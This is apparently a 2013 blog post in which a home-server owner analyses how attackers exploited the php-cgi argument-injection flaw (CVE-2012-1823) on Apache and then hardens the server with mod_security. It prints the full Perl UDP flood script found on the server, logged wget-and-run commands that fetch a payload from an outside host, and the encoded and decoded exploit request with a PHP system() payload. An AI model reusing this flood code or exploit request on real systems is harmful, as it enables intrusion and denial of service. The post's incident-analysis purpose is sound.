Today my home server dropped off the net, thus cutting me off from all of my tunnels and email services for the entire day. Upon returning home, I found that the reason for this outage was a UDP flood ping that was originating from my server, and consuming 100% of my CPU and 100% of my bandwidth. Further inspection showed that my Apache 2.2 server running on Lucid Lynx was hacked. In this post I’ll document the steps I took in order to figure out and fix the problem.
Initial Observations
After logging in to my server I ran the top command and found that a perl process was taking up all of the CPU.
root@gatekeeper:~# ps -axf
19914 ? S 0:00 sh -c cd /tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500
19918 ? R 506:21 \_ perl u 154.35.175.201 6660 500
19916 ? S 0:00 sh -c cd /tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500
19922 ? R 506:12 \_ perl u 154.35.175.201 6660 500
These processes were owned by www-data user, which is the Apache user on Ubuntu.
Sure enough, the mysterious ‘u’ file being executed by perl was there:
root@gatekeeper:~# cd /tmp; ls -l
-rw-r--r-- 1 www-data www-data 1089 2013-12-04 11:53 u
-rw-r--r-- 1 www-data www-data 1089 2013-12-04 11:53 u.1
The contents of the file:
root@gatekeeper:~# cat u
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################
use Socket;
$ARGC=@ARGV;
if ($ARGC !=3) {
printf "$0 <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";l
exit(1);
}
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");
printf "udp flood - odix\n";
if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
This script initiates a UDP flood ping of the provided address. In this case 154.35.175.201:6660. Note that the $time parameter is not used, which is why this turns into an all-destroying flood ping.
The malicious script was downloaded from here: http://146.185.162.85/…/. Note that this directory contains a whole bunch of interesting malicious code, including an IrcBot and a PayPal phishing page.
So, definitely h4x0red. But how?!?!?
Attack Analysis
- Ran last -i, to see if there were any logins besides the ones I expect to be there. Nope.
- Checked the timestamp and contents on /etc/passwd. Nope.
- Checked for suspicious entries in /var/log/syslog and /var/log/auth.log. Nope.
- Downloaded ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz to scan for any known root kits. Nope.
It appears that Apache2 was the attack vector, especially since the permissions on the downloaded files belong to www-data user.
Check our CGI configuration:
root@gatekeeper:~# vi /etc/apache2/sites-enabled/000-default
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory "/usr/lib/cgi-bin">
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>
Check what we have in /usr/lib/cgi-bin:
root@gatekeeper:~# ls -l /usr/lib/cgi-bin
lrwxrwxrwx 1 root root 29 2012-04-22 18:57 php -> /etc/alternatives/php-cgi-bin
-rwxr-xr-x 1 root root 7836616 2013-09-04 14:22 php5
Check the logs around 2013-12-04 11:53 timestamp, since this is when the ‘u’ file was downloaded into /tmp. I could not find an exact match in /var/log/apache2/access.log, but there was a lot of interesting stuff in there:
46.16.169.53 - - [01/Dec/2013:11:38:50 -0600] "POST //%63%67%69%2D
%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63
%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%
66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3
D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73
%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%
65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%7
0%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65
%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%
72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%7
4%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%6
9%6E%70%75%74+%2D%6E HTTP/1.1" 504 508 "-" "-"
WTF is that?! Writing a quick Ruby script to decode:
#!/usr/bin/ruby
input="%63%67%69%2D%62%69%6E/%70%68%70%35?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E"
input.split('%').each {|c|
if ( c.length == 2 )
print c.hex.chr
elsif (c.length == 3)
print "#{c[0..1].hex.chr}#{c[2].chr}"
end
}
We get the following:
//cgi-bin/php5?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d
+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n
Taking a look at /var/log/apache2/error.log we see scary stuff like this:
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] --2013-12-04 11:57:22-- http://146.185.162.85/.../u
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Connecting to 146.185.162.85:80...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] connected.
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] HTTP request sent, awaiting response...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] connected.
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] HTTP request sent, awaiting response...
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 200 OK
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Length: 1089 (1.1K)
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] Saving to: `u'
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 0K
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] .
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 100% 26.8M=0s
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170]
[Wed Dec 04 11:57:22 2013] [error] [client 94.23.67.170] 2013-12-04 11:57:22 (26.8 MB/s) - `u' saved [1089/1089]
ok, so whatever this does, it obviously somehow exploits the php5 executable. We are not supposed to be able to run php5 directly (b/c php5 binary is compiled with force-cgi-redirect enabled: http://fi2.php.net/security.cgi-bin), yet this somehow bypasses that security.
And here’s the explanation of how the exploit works:
On Debian and Ubuntu the vulnerability is present in the default install
of the php5-cgi package. When the php5-cgi package is installed on Debian and
Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
/cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
the binary because this binary has a security check enabled when installed with
Apache http server and this security check is circumvented by the exploit.
When accessing the php-cgi binary the security check will block the request and
will not execute the binary.
In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
check is done when the php.ini configuration setting cgi.force_redirect is set
and the php.ini configuration setting cgi.redirect_status_env is set to no.
This makes it possible to execute the binary bypassing the Security check by
setting these two php.ini settings.
Prior to this code for the Security check getopt is called and it is possible
to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
-d switch. If both values are set to zero and the request is sent to the server
php-cgi gets fully executed and we can use the payload in the POST data field
to execute arbitrary php and therefore we can execute programs on the system.
apache-magika.c is an exploit that does exactly the prior described. It does
support SSL.
/* Affected and tested versions
PHP 5.3.10
PHP 5.3.8-1
PHP 5.3.6-13
PHP 5.3.3
PHP 5.2.17
PHP 5.2.11
PHP 5.2.6-3
PHP 5.2.6+lenny16 with Suhosin-Patch
Affected versions
PHP prior to 5.3.12
PHP prior to 5.4.2
Unaffected versions
PHP 4 - getopt parser unexploitable
PHP 5.3.12 and up
PHP 5.4.2 and up
Unaffected versions are patched by CVE-2012-1823.
This explanation was obtained from: http://www.exploit-db.com/exploits/29290/
So with this information, I gather that the full exploit looked something like this:
POST //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1
Host: vace.homelinux.com
Connection: keep-alive
Content-Length: 78
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.97 Safari/537.22
Content-Type: application/x-www-form-urlencoded
<? system("/tmp;wget 146.185.162.85/.../u;perl u 154.35.175.201 6660 500"); ?>
I was not able to recreate the exploit with this exact request, so there must be some additional details required to make it work, but I am fairly certain that this is the general mechanism that was used to carry out the attack.
Securing The Server
Lucid is a fairly old distro, so I did not want to deal with upgrading the php package. I am sure it would be dependency hell. Instead, I followed the advice given on this thread (http://www.howtoforge.com/forums/showthread.php?t=63740&page=3) and installed mod_security.
There are good instructions on how to do that found here: http://www.linuxlog.org/?p=135
One thing to note is that if you are using Lucid, you will not be able to install the latest ModSecurity rules (v2.7.5), so don’t download those. Instead use the link provided in the article.
Here’s my /etc/apache2/conf.d/modsecurity:
<ifmodule mod_security2.c>
SecRuleEngine On
SecDebugLog /var/log/apache2/modsecurity.log
SecDebugLogLevel 3
SecAuditLogParts ABIJDEFHZ
# For testing: http://vace.homelinux.com/?test=MY_UNIQUE_TEST_STRING
SecRule ARGS "MY_UNIQUE_TEST_STRING"\
"phase:1,log,deny,status:503"
# These are too noisy with warnings, so turning them off
SecRuleRemoveById 960032
SecRuleRemoveById 960034
Include /etc/apache2/mod_security_rules/*.conf
</ifmodule>
Conclusion
Since I was not able to recreate the exploit, I am not 100% sure if this solution worked. I’ll keep my eye on the logs over the following weeks and I’ll post here again if there are any unexpected developments.
N1nja Hacks 